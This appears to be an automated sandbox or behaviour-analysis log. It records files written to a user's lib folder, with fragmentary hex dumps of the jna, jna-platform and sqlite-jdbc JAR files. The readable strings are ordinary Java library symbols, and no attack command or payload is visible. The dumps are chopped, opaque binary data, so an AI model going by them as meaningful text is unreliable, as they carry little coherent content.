b6 00 16 2b bb 00 30 
59 03 03 03 03 b7 00 
31 b6 00 32 a7 00 4c 
19 04 c6 00 42 19 04 
12 2f b6 00 13 c0 00 
30 3a 05 19 05 c6 00 
20 bb 00 30 59 19 05 
b6 00 33 19 05 b6 00 
34 19 05 

......,...A...4..... .O.P.....

..H.I.....-.B.C.....-.m.N.....-

.n.o...Q...>....&....T..W..p.

.U..V....T..U.......T..W..p..U

..V....T..U.......q.r...?...B.

.......+......+............:..

..%......../+......+..0Y......
1..2..L....B.../.....0:..... .
.0Y....3....4..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 4e 61 74 
69 76 65 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 31 3b 01 00 0c 77 
69 6e 64 6f 77 4f 70 
65 6e 65 64 01 00 1f 
28 4c 6a 61 76 61 2f 
61 77 74 2f 65 76 65 
6e 74 2f 57 69 6e 64 
6f 77 45 76 65 6e 74 
3b 29 56 01 00 01 65 
01 00 1c 4c 6a 61 76 
61 2f 61 77 74 2f 65 
76 65 6e 74 2f 57 69 
6e 64 6f 77 45 76 65 
6e 74 3b 01 00 0c 77 
69 6e 64 6f 77 43 6c 
6f 73 65 64 01 00 0a 
53 6f 75 72 63 65 46 
69 6c 65 01 00 10 57 
69 6e 64 6f 77 55 74 
69 6c 73 2e 6a 61 76 
61 01 00 0f 45 6e 63 
6c 6f 73 69 6e 67 4d 
65 74 68 6f 64 0c 00 
2d 00 2e 0c 00 0b 00 
0f 0c 00 09 00 0a 0c 
00 10 00 2f 07 00 30 
0c 00 31 00 32 07 00 
33 0c 00 34 00 35 07 
00 36 0c 00 37 00 2f 
01 00 34 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 

jna/platform/WindowUtils$
Nativ
eWindowUtils$1;...window
Opened...
(Ljava/awt/event/WindowE
ven
t;)V...e...Ljava/awt/event/W
in
dowEvent;...windowClosed
...Sou
rceFile...WindowUtils.java..
.EnclosingMethod..-
.............
.../..0..1.2..3..4.5..6..7./..
4com/sun/jna/pl

success or wait 10 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 ee 3a 82 cf 12 0c d2 
5d 07 fd af d8 04 7c 
08 50 4b 03 04 0a 00 
00 00 08 00 38 66 3e 
49 10 73 4b a2 38 31 
00 00 f6 8d 00 00 2c 
00 00 00 6f 72 67 2f 
73 71 6c 69 74 65 2f 
6a 64 62 63 33 2f 4a 
44 42 43 33 44 61 74 
61 62 61 73 65 4d 65 
74 61 44 61 74 61 2e 
63 6c 61 73 73 e5 7d 
79 60 5b c5 f1 ff ec be 
43 cf b2 7c 44 b1 93 
28 17 4e 20 b1 9d fb 
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6f 77 55 74 69 6c 73 
24 4e 61 74 69 76 65 
57 69 6e 64 6f 77 55 
74 69 6c 73 24 54 72 
61 6e 73 70 61 72 65 
6e 74 43 6f 6e 74 65 
6e 74 50 61 6e 65 3b 
01 00 0a 6f 6c 64 43 
6f 6e 74 65 6e 74 01 
00 14 4c 6a 61 76 61 
2f 61 77 74 2f 43 6f 6e 
74 61 69 6e 65 72 3b 
01 00 0d 53 74 61 63 
6b 4d 61 70 54 61 62 
6c 65 07 00 94 07 00 
97 07 00 98 01 00 09 
61 64 64 4e 6f 74 69 
66 79 01 00 03 28 29 
56 01 00 0c 72 65 6d 
6f 76 65 4e 6f 74 69 
66 79 01 00 0e 73 65 
74 54 72 61 6e 73 70 
61 72 65 6e 74 01 00 
04 28 5a 29 56 01 00 
0f 65 76 65 6e 74 44 
69 73 70 61 74 63 68 
65 64 01 00 16 28 4c 
6a 61 76 61 2f 61 77 
74 2f 41 57 54 45 76 
65 6e 74 3b 29 56 01 
00 05 

ntContentPane..KLcom/su
n/jna/p
latform/WindowUtils$Nativ
eWind
owUtils$TransparentConte
ntPane
;...oldContent...Ljava/awt/C
on
tainer;...StackMapTable.....
.......addNotify...
()V...removeN
otify...setTransparent...
(Z)V...eventDispatched...
(Ljava/awt/AWTEvent;)V...
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ac 50 2b 07 01 f1 44 
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62 0c 04 13 63 c1 0b 
0c a0 77 d3 ed 48 07 
b7 bb cd ee 94 c4 47 
c1 17 f0 c6 1b 13 04 
a3 89 0f e0 2b 99 18 ff 
59 ea 01 28 5e ec fc 
87 fd e7 9b ef 3f cc 7c 
ff f9 e5 1b 80 12 96 7b 
d0 8b 09 0b 36 b2 26 
ee 58 30 90 4d e1 ae 
96 f7 52 c8 69 39 69 
21 8f 29 0b b7 50 30 
31 6d 62 c6 84 c3 d0 
bb cf bd ac 27 ab 1b 
bc 21 18 32 95 3d be 
cf 1d 8f fb bb ce a6 0a 
a5 bf 5b 66 48 2e 4b 
5f aa 47 0c 83 b9 f3 bf 
27 b7 18 12 ab 41 8d 
36 f7 57 a4 2f 36 5a 
8d aa 08 5f f0 aa 17 
c3 05 2e f7 b6 78 28 
b5 dd 76 26 54 5d 46 
0c f6 53 df 17 e1 aa 
c7 a3 48 90 39 5e 71 
83 86 13 b5 7c 67 cf 
e7 ce 06 57 72 5f 54 
64 35 e4 e1 db 6c 49 
93 e0 ae 2b 9a 8a 61 
a2 4d 42 06 ce 13 e9 
89 72 07 4a af 18 8c 
9a 0c 19 fa 4e 87 32 
a4 5e 93 f4 e3 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 45 76 65 6e 74 4c 69 
73 74 65 6e 65 72 07 
00 c6 01 00 32 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 4e 61 74 69 
76 65 57 69 6e 64 6f 
77 55 74 69 6c 73 01 
00 12 6a 61 76 61 2f 
61 77 74 2f 43 6f 6e 
74 61 69 6e 65 72 01 
00 1b 28 4c 6a 61 76 
61 2f 61 77 74 2f 4c 
61 79 6f 75 74 4d 61 
6e 61 67 65 72 3b 29 
56 01 00 03 61 64 64 
01 00 29 28 4c 6a 61 
76 61 2f 61 77 74 2f 
43 6f 6d 70 6f 6e 65 
6e 74 3b 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 29 
56 01 00 09 73 65 74 
4f 70 61 71 75 65 01 
00 10 6a 61 76 61 2f 
61 77 74 2f 54 6f 6f 6c 
6b 69 74 01 00 11 67 
65 74 44 65 66 61 75 
6c 74 54 6f 6f 6c 6b 
69 74 01 00 14 28 29 
4c 6a 61 76 61 2f 61 
77 74 2f 54 6f 6f 6c 6b 
69 74 3b 01 00 13 61 
64 64 41 57 54 45 76 

EventListener.....2com/sun
/jna
/platform/WindowUtils$Nati
veWi
ndowUtils...java/awt/Contai
ner...
(Ljava/awt/LayoutManager;
)V...add..)
(Ljava/awt/Component;
Ljava/lang/Object;)V...setO
paq
ue...java/awt/Toolkit...getD
efaultToolkit...
()Ljava/awt/Tool
kit;...addAWTEv
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2a b9 c8 5a 21 72 b4 
8b 3e 0f 17 22 c7 d8 
c8 e9 26 52 2a d6 72 
a1 2b 1d 50 c9 86 8e 
75 a1 dc 23 84 9d 8e 
73 81 ec 14 22 c7 bb 
40 ae 17 22 0f 70 81 
ec 11 22 cb 5c 20 d3 
42 e4 04 17 c8 13 84 
c8 89 2e 90 3b 85 c8 
03 5d 20 7f 28 44 1e 
e4 02 f9 63 21 72 92 
0b e4 25 42 e4 64 17 
c8 2b 84 c8 72 17 c8 
6b 84 c8 0a 17 c8 eb 
85 c8 4a 17 c8 db 84 
c8 29 2e 90 77 0b 91 
53 5d 20 1f 14 22 a7 
b9 40 3e 26 44 4e 77 
81 7c 46 88 9c e1 02 
f9 bc 10 39 d3 05 f2 
15 21 72 96 0b b7 f9 
96 10 39 db 05 f2 3d 
21 72 0e 9b 9b eb 36 
fd 9e dc 68 f6 91 d0 
6d 1e 8c 50 ae 43 e7 
98 50 8d 42 61 3f 68 
b9 f8 ff 38 f0 9a 81 67 
f3 b0 2c 23 a5 11 39 
cd 17 08 91 97 c3 04 
e9 22 21 16 d8 d0 1c 
21 bc b9 78 cf 60 21 
10 79 88 a0 eb fc 5c 
68 a1 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 65 6e 74 2f 41 57 54 
45 76 65 6e 74 4c 69 
73 74 65 6e 65 72 3b 
29 56 01 00 11 73 65 
74 44 6f 75 62 6c 65 
42 75 66 66 65 72 65 
64 01 00 07 72 65 70 
61 69 6e 74 01 00 05 
67 65 74 49 44 01 00 
03 28 29 49 01 00 08 
67 65 74 43 68 69 6c 
64 01 00 16 28 29 4c 
6a 61 76 61 2f 61 77 
74 2f 43 6f 6d 70 6f 6e 
65 6e 74 3b 01 00 1a 
6a 61 76 61 78 2f 73 
77 69 6e 67 2f 53 77 
69 6e 67 55 74 69 6c 
69 74 69 65 73 01 00 
10 69 73 44 65 73 63 
65 6e 64 69 6e 67 46 
72 6f 6d 01 00 2b 28 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 4c 6a 
61 76 61 2f 61 77 74 
2f 43 6f 6d 70 6f 6e 65 
6e 74 3b 29 5a 01 00 
18 28 4c 6a 61 76 61 
2f 61 77 74 2f 43 6f 
6d 70 6f 6e 65 6e 74 
3b 5a 29 56 01 00 11 
6a 61 76 61 2f 61 77 
74 2f 47 72 61 70 68 
69 63 73 01 00 0d 67 
65 74 43 6c 69 70 42 

ent/AWTEventListener;)V..
.setD
oubleBuffered...repaint...g
etID...()I...getChild...
()Ljava/a
wt/Component;...javax/swi
ng/Sw
ingUtilities...isDescendingF
rom..+
(Ljava/awt/Component;Lja
va/awt/Component;)Z...
(Ljava/awt
/Component;Z)V...java/awt
/Graphics...getClipB
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c4 7f 6f ca cf 4d f9 07 
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79 ec 2f 5e f9 85 fc 2b 
4f fd 9b 57 fe 5d fe c3 
90 ff f4 d2 5b b2 d6 90 
ff f2 d2 3b ac 6e 25 f2 
df 99 f2 3f f2 1c cf 9e 
bf 93 fe c3 5f 17 33 e2 
5f 9a f2 2b 26 f3 7f 0d 
f9 b5 67 7a bd 3d ca 
d4 3e c0 74 ff c6 94 
07 f9 7d c8 94 df 9a 
b2 0b 4d 45 fc 10 a6 
92 a6 52 dc 74 99 ca 
6d 2a 0f 37 0d 53 99 
a6 ca 30 95 d7 54 99 
5e 65 a9 2c 53 65 f3 
bb 8f a1 72 0c 75 8c 
57 f9 54 5f 2f 7d a9 fa 
79 e9 3f 2a 97 1f 79 
a6 ea 8f 23 a8 01 d0 
32 e5 67 55 5b c2 dd 
03 0d 35 88 39 b3 09 
4a a8 06 67 c8 29 6a 
48 86 1a aa 86 f1 23 
1f f4 52 c3 b9 6f 84 a1 
8e 35 d5 48 af 30 65 
ad a9 46 19 6a 34 d6 
a8 31 86 2a 30 d4 58 
9e 1a 30 55 21 43 28 
32 55 b1 a9 4a 18 c7 
71 a6 3a ce 54 c7 9b 
6a 3c 4e af 4e 30 d5 
04 53 4d e4 66 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 b9 f8 75 c2 25 10 74 
31 b7 51 e1 dc d6 b3 
65 fb 73 75 ac 57 88 
5c 3e 18 99 9b e7 b1 
ad 42 64 c8 45 9f 27 
09 91 87 bb 40 9e 2e 
44 ae 70 81 3c 5b 88 
6c 60 8d 26 72 3e d6 
70 21 f2 02 c7 96 c3 
42 52 a9 89 35 53 6f 
ac c5 05 8f cb f6 c3 63 
a5 0b 7d ff 4c 38 82 
56 17 63 ff 85 10 d9 
e6 a2 cf 9b 84 c8 76 
1b 59 63 22 0b a6 f4 
83 ff 32 f0 c8 bb 41 d6 
bb 97 1c 4c fa 1d 4c 
0a cc f0 d2 81 65 05 
78 fe 52 1a fd 2a 17 
92 dc 27 94 64 b5 0b 
e4 c3 42 e4 11 c2 31 
0c 1f 6a 0c 4f ec 6f 0c 
6b 5c 58 c1 ef f7 63 
05 47 ba e0 f1 a7 fd f0 
38 ca 05 8f d7 f7 c3 
63 ad 0b 1e 7f db 0f 8f 
a3 5d f0 f8 e7 7e 78 
1c e3 82 c7 a7 fb e1 
d1 e9 62 7d 7c 29 b4 
90 63 f7 8f e4 92 10 
19 de bf 55 72 af 10 
b9 ce 45 9f c3 84 c8 
2e 17 c8 51 42 64 b7 
0b e4 01 42 64 c4 05 
72 b2 10 b9 de 05 72 
ba 10 b9 c1 05 
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04 a7 00 04 03 b6 00 
15 2a b6 00 16 b1 00 
00 00 03 00 3e 00 00 
00 16 00 05 00 00 01 
52 00 05 01 53 00 12 
01 54 00 1f 01 55 00 
23 01 56 00 3f 00 00 
00 16 00 02 00 00 00 
24 00 40 00 42 00 00 
00 00 00 24 00 34 00 
35 00 01 00 45 00 00 
00 28 00 04 4e 07 00 
46 ff 00 00 00 02 07 
00 46 01 00 02 07 00 
46 01 4b 07 00 46 ff 
00 00 00 02 07 00 46 
01 00 02 07 00 46 01 
00 01 00 4e 00 4f 00 
01 00 3d 00 00 00 81 
00 03 00 03 00 00 00 
2a 2b b6 00 17 11 01 
2c a0 00 22 2b c0 00 
18 b6 00 19 2a b8 00 
1a 99 00 14 2b c0 00 
18 b6 00 19 4d 2a b4 
00 01 2c 03 b6 00 1b 
b1 00 00 00 03 00 3e 
00 00 00 16 00 05 00 
00 01 59 00 0e 01 5a 
00 18 01 5b 00 20 01 
5c 00 29 01 5e 00 3f 
00 00 00 20 00 03 00 
20 00 09 00 50 00 51 
00 02 00 00 00 2a 00 
40 00 42 00 00 00 00 
00 2a 00 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 03 40 27 73 66 64 9a 
49 d1 15 6d ab a1 40 
c9 d3 8a d3 98 a8 ca 
e6 b5 50 2e 9e b0 28 
18 5d 11 4a 99 ef 69 
d5 5d cc 8e c4 79 74 
18 ca b1 27 38 b7 3a 
d8 da b0 b2 22 0a 13 
b3 2e 12 5d 25 68 74 
1a 7a a6 35 62 22 0c 
09 5c 58 5b 5e 51 79 
5a 39 ac 6c df 33 d2 
4d f2 c4 da 96 2f 0f af 
67 df da bd 45 36 f0 
a9 4a f6 cd de 58 78 
75 4b 53 98 85 1c f6 
67 e6 8c ba 72 80 6e 
0d a1 2f d8 8a e1 0c 
a0 0d 20 e5 cd 8d ec 
89 34 c0 3a 16 25 7c 
01 52 a5 36 ee 0d 98 
37 2e 2d ea 47 62 73 
c5 91 8d 8b 8e 54 aa 
a0 df 90 fe 23 03 ca 
6c e8 9e 2a a8 7f 2f 
30 70 b8 e5 61 56 1e 
28 d2 f2 54 55 4b 71 
c8 98 68 34 c5 4d 4a 
b6 d3 5a 10 57 b6 d2 
ff 9b 1f 17 34 f1 7f 89 
10 1c 63 ce 4a b7 15 
1c 02 a1 17 46 23 2c 
b3 82 86 14 1c 99 18 
45 87 d9 d5 23 4e 9f 
71 74 b6 f6 88 30 b2 
58 5f 93 cc cd 98 a3 
f2 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 4c a6 4b 39 5d 2a f0 
b2 5a 9a af b2 2a 8f 
72 1f 54 ae 91 fc 53 
da d6 c8 fe a9 6d 55 
da 94 a9 d3 a6 07 b4 
7e 98 56 e5 09 78 f6 
c0 74 06 97 b2 57 02 
1e 75 0f cc e0 50 95 
67 98 e3 cc 2a 2f ab 
ca a7 7e ef 84 59 fe 
d9 c8 2d 90 47 7c e7 
e0 a5 1f e6 56 f9 02 
de 80 6f 0f 1c 8c 88 7c 
69 7e 41 20 df 64 14 
0c e4 2b 06 a3 c2 40 
be c9 b2 28 90 ef 31 
4a c5 81 7c cd 28 0d 
53 e6 fb 03 c5 7b a1 
24 50 ec 9f d7 0f f3 2f 
35 1d d8 7c 7f a9 7a 
29 e4 e3 20 17 d0 08 
e4 f9 6a a0 e8 51 d0 
fc 87 ec 06 2d 50 d4 
0f 0b ab 8a f8 fc e1 b7 
42 15 3d 2c ea 87 c5 
97 42 9e 67 fe f0 dd 
30 fb 56 58 92 a1 79 
8b 7d 44 1c 7b 2b 1c 
e6 24 aa 44 f4 50 1d 
76 b0 14 3b 28 2d e8 
87 6a 7f 0d 95 fc 54 
aa a5 31 d6 d1 e3 70 
7a 0c 5a 8f c6 e0 eb 
ad c7 29 81 c2 7e 60 
f4 b4 2c 43 2a 32 49 
cb a9 fd b0 47 c1 c3 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 5a c5 91 94 19 a7 9f 
21 4b 6d 49 4b 88 fa 
31 05 63 0f 8b c3 47 
f7 ec eb 2d 38 1e 00 
48 73 9a 22 cb ba a3 
8e 19 8d 8d 51 2d c1 
63 bf 93 bf 0b 23 e1 
e6 56 4d 57 6f 6c c3 
ea 65 91 26 9b b9 39 
80 59 a7 bf 13 b0 72 
d3 c1 9a c7 06 2c 62 
7f 21 30 2d 48 6b 41 
0d 00 b3 c1 72 ab 42 
5b 86 9c f8 d4 6e 57 
6e 2e 0f 37 07 9b c2 
e7 b1 dd 28 60 91 f5 
36 86 63 2d 91 58 68 
46 53 13 b8 bd 96 a3 
da 1e 19 4b 5d 88 c3 
30 05 cb 91 1a ad a3 
7f ca ff cd 7a 40 44 d4 
c9 40 d4 d9 1a e1 68 
79 73 2b 9b a7 dc 54 
66 8c d4 dd ec 1e 60 
e8 5d e0 2f 30 5b 9a 
6e ca ff d7 fc e4 d8 de 
cf 98 94 1f 64 70 e0 
ec 84 1c 23 7b 77 73 
c9 99 87 5b 53 97 43 
a3 56 0e 89 93 76 d1 
4b 16 45 56 85 9a c1 
19 6d da 9b b0 c4 90 
bf 11 74 e2 51 c0 ee 
05 c5 3e e0 75 3c 9a 
b4 2d 59 e9 91 e3 1b 
8d 67 7a e9 02 f7 6d 
e9 
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15 04 b6 00 26 19 06 
b6 00 27 19 05 b6 00 
23 3a 06 19 06 2c b4 
00 28 74 2c b4 00 29 
74 b6 00 2a 2a 19 06 
b7 00 2b 19 06 b6 00 
27 2a 19 05 2c b6 00 
2c a7 00 08 2a 2b b7 
00 2b b1 00 00 00 03 
00 3e 00 00 00 4a 00 
12 00 00 01 61 00 07 
01 62 00 0c 01 63 00 
11 01 64 00 17 01 65 
00 25 01 66 00 32 01 
69 00 39 01 6a 00 41 
01 6b 00 4b 01 6c 00 
50 01 6e 00 57 01 6f 
00 66 01 70 00 6c 01 
71 00 71 01 73 00 78 
01 75 00 7b 01 77 00 
80 01 79 00 3f 00 00 
00 48 00 07 00 32 00 
46 00 56 00 57 00 05 
00 39 00 3f 00 58 00 
59 00 06 00 0c 00 6c 
00 5a 00 5b 00 02 00 
11 00 67 00 5c 00 5d 
00 03 00 17 00 61 00 
5e 00 5d 00 04 00 00 
00 81 00 40 00 42 00 
00 00 00 00 81 00 5f 
00 60 00 01 00 45 00 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 61 34 a4 07 0a d6 86 
83 f9 75 1a 4e 49 52 
05 66 2c a0 2d 65 c2 
ae 00 61 d5 4a 5e 32 
38 99 61 8e fb c8 5f 
cb 11 61 73 6b cc 12 
9f 8b 8f 2c 15 e6 89 
9e 92 c6 0d d8 cf 52 
e7 b2 c2 0d 4b 5e a6 
7d 88 fe 88 67 b1 58 
f9 03 e6 58 ff 1e e2 
50 9c 1f 0f c3 ed 94 
b0 c9 49 09 73 d3 66 
84 96 5a a5 9a 2c b5 
9a 85 b9 59 45 2c d5 
a2 22 71 f1 49 2d dd 
80 34 a7 36 73 0c 7b 
38 69 60 c2 c6 94 59 
6a 8d 8a 1a 6a 9a a5 
62 7c f2 56 d5 16 87 
93 5a 94 80 a0 7a 2d 
f1 3d 71 3e f4 b0 82 
0d 57 32 1c f7 98 fc 
60 6b 3e 9b 94 f9 96 
98 21 66 a6 68 a6 9d 
10 1a 6a ad a5 d6 29 
9c 2f ff bb 6a 1a 82 06 
76 4f a9 6d 83 f9 58 
1d 4a 1a 1c d1 cd 6a 
36 33 f9 69 0a b2 ac 
24 30 43 23 be bb 30 
02 0f f0 3f 94 45 a0 f8 
25 09 4e 5a ea 3c f5 
3d 4b 9d cf 64 fb be 
78 c9 12 2f 80 1b d8 
f8 02 b8 c4 b6 58 28 
5a 
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com/sun/jna/platform/win3
2/Win
Def$HICON;)Ljava/awt/Di
mension
;...hIcon..)Lcom/sun/jna/pla
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orm/win32/WinDef$HICON
;...getAllWindows...
(Z)Ljava/util/List
;...onlyVisibleWindows...Si
gna
ture..9(Z)Ljava/util/List<Lc
om
/sun/jna/platform/Desktop
Window;>;...getWindo
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ing/JRootPane...java/awt/
Conta
iner.............java/awt/Colo
r...javax/swing/RootPaneC
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old-opaque..V..............
............transparent-old-bg
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..'java/lang/UnsupportedOp
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tringBuilder...Component 
must be heavyweight: 
..............
.......................2com/su
n/jna/platform/WindowUtils
$Hea
vyweightForcer...Heavywei
ghtFo
rcer.........r...jna.force_hw_
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...q....$This platform is not 
supported, yet.
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..(III)V...createGraphics...()
Ljava/awt/Graphics2D;...bl
ack.
..java/awt/Graphics2D...set
Color...
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aster..!
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......j.....-..U..+x..r.v.....
....].P.n.......c|."_....r.>..
._.....q.+.~....b...........y..
<........|....
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46 37 82 b8 4e 3b 73 
43 6c 07 26 16 76 8a 
63 97 80 ad 9a 9f ce 
6f e0 b8 06 51 47 2b 
e8 5c 91 ad df cd a2 
8f 63 10 f6 d2 71 3a 
2a c9 a4 25 30 0d 41 
1a 43 cb 90 29 34 d0 
34 cc 9a 4d 2b 69 81 
28 83 2b 9a 4a 2b c4 
4c ac 9e 46 ab f0 6e 
16 d3 29 22 66 c0 00 
34 d1 15 6a 35 94 bf 
19 4a df 02 65 5f 43 f7 
ab 18 3d a8 5a e9 11 
d5 46 8f a9 4b e8 69 
75 29 62 95 cb e8 cf 
ea 72 51 a8 6e 10 53 
d5 8d 62 a6 ba 59 3c 
a9 1e 10 3b 55 bb d8 
ad 1e 12 af a9 87 c5 
fb ea 11 f1 a1 da 22 
7e a7 1e 13 7f 47 df 
97 6a ab 74 a9 27 65 
1f f5 94 1c a2 b6 cb 
62 d5 21 e7 aa 1d b2 
0a 7d b5 ea 69 79 86 
da 25 1b d4 6e 19 55 
7b b4 da 9d 07 c5 8b 
90 4f 7c 5f e6 41 77 
67 22 41 ef cf a5 4c f1 
3e f9 e5 00 7d 27 f8 
12 1d af a3 53 8f d8 
4d 15 da a4 b8 e5 10 
98 1e 3f df e0 c0 e8 
cc 

.QD..\.F7..N;sCl.&.v.c......o

.

..QG+.\......c...q:*..%0.A.C..
)4.4..M+i.(.+.J+.L..F..n..)"f.
.4..j5...J..e_C...=.Z...F..K.i
u)b.....rQ.n.S..b..Y<...;U....
..........."~....G..j.t.'e....
...b.!.....}..iy..%..n.U{.....
..O|_.Awg"A...L.>...}'.....S..
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 9f e4 fc 5c fd e2 d2 3c 
fd ac bc 44 7d 37 b8 
62 e7 fc bc 92 d4 8a 
12 6b 4d 4c 1d 8c 0c 
1c 25 f9 30 23 45 34 
b0 aa e0 ca 03 cb 87 
54 16 00 d5 08 a3 a8 
71 ce 49 2c 2e 06 2a 
e1 0c ce 4c 07 aa 2a 
2d 02 aa 10 c3 54 61 
a3 65 07 32 27 38 bf 
b4 28 39 d5 2d 33 07 
a8 4a 10 62 a9 6f 62 
41 41 6a 8a 1e 48 3d 
23 83 04 b2 f3 91 e5 
19 19 04 d0 dd c5 c6 
c8 c0 c8 c0 c4 00 02 
cc 2c 8c 0c cc 0c 2c 
0c 0c 40 9a 95 81 0d 
4c b3 33 70 00 e5 39 
81 b2 4c 0c 5c 40 16 
37 98 c5 03 00 50 4b 
03 04 0a 00 00 08 08 
00 8c 8c 5e 4f 59 b3 
02 05 c6 05 00 00 c9 
0c 00 00 27 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 4e 61 74 
69 76 65 4d 61 70 70 
65 64 43 6f 6e 76 65 
72 74 65 72 2e 63 6c 
61 73 73 a5 56 fb 53 
13 57 18 3d 97 24 2c 
24 8b 62 10 10 7c 40 
a0 2a 24 60 2c 6d a9 
02 52 11 a1 3e 00 ad 
50 

...\...<...D}7.b.......kML....
%.0#E4.......T......q.I,..*...
L..*-....Ta.e.2'8..(9.-3..J.b.
obAAj..H=#....................
.,....,..@....L.3p..9..L.\@.7.
...PK..........^OY...........'
...com/sun/jna/NativeMapp
edCon
verter.class.V.S.W.=.$,$.b.
.|@.*$`,m..R..>..P
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 61 2f 61 77 74 2f 65 
76 65 6e 74 2f 57 69 
6e 64 6f 77 45 76 65 
6e 74 3b 01 00 0f 63 
6f 6d 70 6f 6e 65 6e 
74 48 69 64 64 65 6e 
01 00 22 28 4c 6a 61 
76 61 2f 61 77 74 2f 
65 76 65 6e 74 2f 43 
6f 6d 70 6f 6e 65 6e 
74 45 76 65 6e 74 3b 
29 56 01 00 1f 4c 6a 
61 76 61 2f 61 77 74 
2f 65 76 65 6e 74 2f 
43 6f 6d 70 6f 6e 65 
6e 74 45 76 65 6e 74 
3b 01 00 0e 63 6f 6d 
70 6f 6e 65 6e 74 4d 
6f 76 65 64 01 00 10 
63 6f 6d 70 6f 6e 65 
6e 74 52 65 73 69 7a 
65 64 01 00 0e 63 6f 
6d 70 6f 6e 65 6e 74 
53 68 6f 77 6e 01 00 
10 68 69 65 72 61 72 
63 68 79 43 68 61 6e 
67 65 64 01 00 22 28 
4c 6a 61 76 61 2f 61 
77 74 2f 65 76 65 6e 
74 2f 48 69 65 72 61 
72 63 68 79 45 76 65 
6e 74 3b 29 56 01 00 
1f 4c 6a 61 76 61 2f 
61 77 74 2f 65 76 65 
6e 74 2f 48 69 65 72 
61 72 63 68 79 45 76 
65 6e 74 

a/awt/event/WindowEvent;
...componentHidden.."
(Ljava/awt/even
t/ComponentEvent;)V...Lja
va/aw
t/event/ComponentEvent;..
.comp
onentMoved...componentR
esized.
..componentShown...hierar
chyChanged.."
(Ljava/awt/event/Hiera
rchyEvent;)V...Ljava/awt/e
vent/HierarchyEvent
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 d2 29 24 4f 1f d8 19 
ea 0e 18 f4 e8 0e c1 
25 8b f1 e8 09 eb 89 
dd a8 c6 46 51 c5 d0 
9b 8c 35 46 83 71 d3 
1c 08 52 17 48 84 5a 
43 d1 44 38 19 de 6f 
4c 20 33 88 87 a2 41 
5a b2 28 9c a8 0f ed 
e5 f2 30 14 39 b4 35 
1e 4e 1a 78 68 0c e7 
97 0d d1 08 8d d1 c2 
89 56 52 75 b0 d3 e8 
53 e9 31 dc 11 0d b5 
eb c3 06 e6 18 3a 88 
06 2d dc 1e aa 78 ea 
43 91 50 92 87 e6 d2 
43 63 34 11 8a eb 4f 
dc b5 b9 87 53 03 3d 
14 ed eb 8d 84 03 51 
0e ce 6d b1 94 37 39 
3c d4 08 d7 29 07 70 
26 0c b1 af 7d 70 09 
68 0e 77 f8 ae 09 1d 
c6 77 9d 88 b1 86 b5 
13 e9 e9 24 93 96 0f 
d1 87 d6 6a a7 b5 44 
37 65 6d d1 d9 c9 2d 
aa 58 44 82 4b 8c 6e 
ba 20 d5 5a 48 79 03 
a9 50 41 ca 0a 48 29 
1f eb e8 4b 75 bc b4 
8f c9 94 3a 3b f9 da 
1d e5 6b 22 a1 b7 13 
ed 5c fd e3 1f 69 9f c0 
8e d5 19 0a 76 0d c8 
61 6c 

.)$O..........%.........FQ....
5F.q...R.H.ZC.D8..oL 
3...AZ.(.
.....0.9.5.N.xh..........VRu..
.S.1.........:..-...x.C.P....C
c4...O....S.=......Q..m..79<..
.).p&...}p.h.w.....w........$.
.....j..D7em...-.XD.K.n. 
.ZHy.
.PA..H)...Ku.....:;....k"....\
...i......v..al
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 77 55 74 69 6c 73 
24 52 65 70 61 69 6e 
74 54 72 69 67 67 65 
72 3b 29 4c 6a 61 76 
61 78 2f 73 77 69 6e 
67 2f 4a 43 6f 6d 70 6f 
6e 65 6e 74 3b 01 00 
1a 6a 61 76 61 78 2f 
73 77 69 6e 67 2f 53 
77 69 6e 67 55 74 69 
6c 69 74 69 65 73 01 
00 10 69 73 44 65 73 
63 65 6e 64 69 6e 67 
46 72 6f 6d 01 00 2b 
28 4c 6a 61 76 61 2f 
61 77 74 2f 43 6f 6d 
70 6f 6e 65 6e 74 3b 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 29 5a 
01 00 11 63 6f 6e 76 
65 72 74 4d 6f 75 73 
65 45 76 65 6e 74 01 
00 60 28 4c 6a 61 76 
61 2f 61 77 74 2f 43 6f 
6d 70 6f 6e 65 6e 74 
3b 4c 6a 61 76 61 2f 
61 77 74 2f 65 76 65 
6e 74 2f 4d 6f 75 73 
65 45 76 65 6e 74 3b 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 29 4c 
6a 61 76 61 2f 61 77 
74 2f 65 76 65 6e 74 
2f 4d 6f 75 73 65 

owUtils$RepaintTrigger;)Lj
avax
/swing/JComponent;...java
x/swi
ng/SwingUtilities...isDesce
ndingFrom..+
(Ljava/awt/Component;
Ljava/awt/Component;)Z...
conve
rtMouseEvent..`(Ljava/awt/
Comp
onent;Ljava/awt/event/Mou
seEve
nt;Ljava/awt/Component;)L
java/awt/event/Mouse
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6e 65 6e 74 3b 01 00 
12 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 01 00 09 
67 65 74 43 75 72 73 
